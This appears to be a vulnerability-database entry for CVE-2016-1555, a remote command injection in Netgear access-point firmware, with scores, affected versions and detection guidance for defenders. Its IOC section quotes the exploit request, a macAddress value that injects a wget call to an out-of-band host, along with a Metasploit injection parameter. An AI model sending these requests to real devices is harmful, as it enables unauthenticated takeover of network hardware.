cbcvebase.
CVE-2016-1555
published 2017-04-21

CVE-2016-1555: (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2…

PriorityP196critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
98.32%
99.9th percentile
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute arbitrary commands.

Affected

7 ranges
VendorProductVersion rangeFixed in
netgearwn604_firmware<= 3.3.2
netgearwn802tv2_firmware<= 3.0.5.0
netgearwnap320_firmware<= 3.0.5.0
netgearwndap210v2_firmware<= 3.0.5.0
netgearwndap350_firmware<= 3.0.5.0
netgearwndap360_firmware<= 3.0.5.0
netgearwndap660_firmware<= 3.0.5.0

Detection & IOCsextracted from sources · hover to see the quote

path/boardDataWW.php
path/boardData102.php
path/boardData103.php
path/boardDataJP.php
path/boardDataNA.php
commandPOST /boardDataWW.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded macAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23&reginfo=0&writeData=Submit
command'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};", 'reginfo' => '1', 'writeData' => 'Submit'
  • Detect unauthenticated HTTP POST requests to any of the five vulnerable PHP endpoints (boardData102.php, boardData103.php, boardDataJP.php, boardDataNA.php, boardDataWW.php) with a semicolon (;) in the macAddress parameter, indicating command injection.
  • Alert on POST body containing the parameter name 'macAddress' combined with shell metacharacters (e.g., ';') alongside 'writeData=Submit' to any boardData*.php path on Netgear WAP devices.
  • The exploit uses wget as the default CmdStager flavor for payload delivery; monitor for outbound wget requests originating from Netgear WAP devices following inbound POST requests to boardData*.php.
  • The Metasploit module targets MIPS big-endian (MIPSBE) architecture with a reverse TCP shell payload; network detections should look for MIPSBE ELF binaries staged via wget from the device.
  • Nuclei template confirms exploitation via out-of-band HTTP interaction (interactsh); monitor DNS/HTTP callbacks from Netgear WAP IP ranges as a sign of successful exploitation.
  • ·The Metasploit module defaults to /boardDataWW.php as the target URI, but all five boardData*.php scripts are vulnerable; defenders should ensure detection coverage spans all five paths.
  • ·The module supports three CmdStager flavors (echo, printf, wget); detections relying solely on wget-based staging may miss echo- or printf-based payload delivery.
  • ·The MAC address used in the exploit POST is randomized by default (Rex::Text.rand_text_hex(12)); signature-based detection on a specific MAC value will be ineffective.
  • ·The exploit requires no authentication; there are no session tokens or credentials to detect. The vulnerable endpoints are fully unauthenticated web pages.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.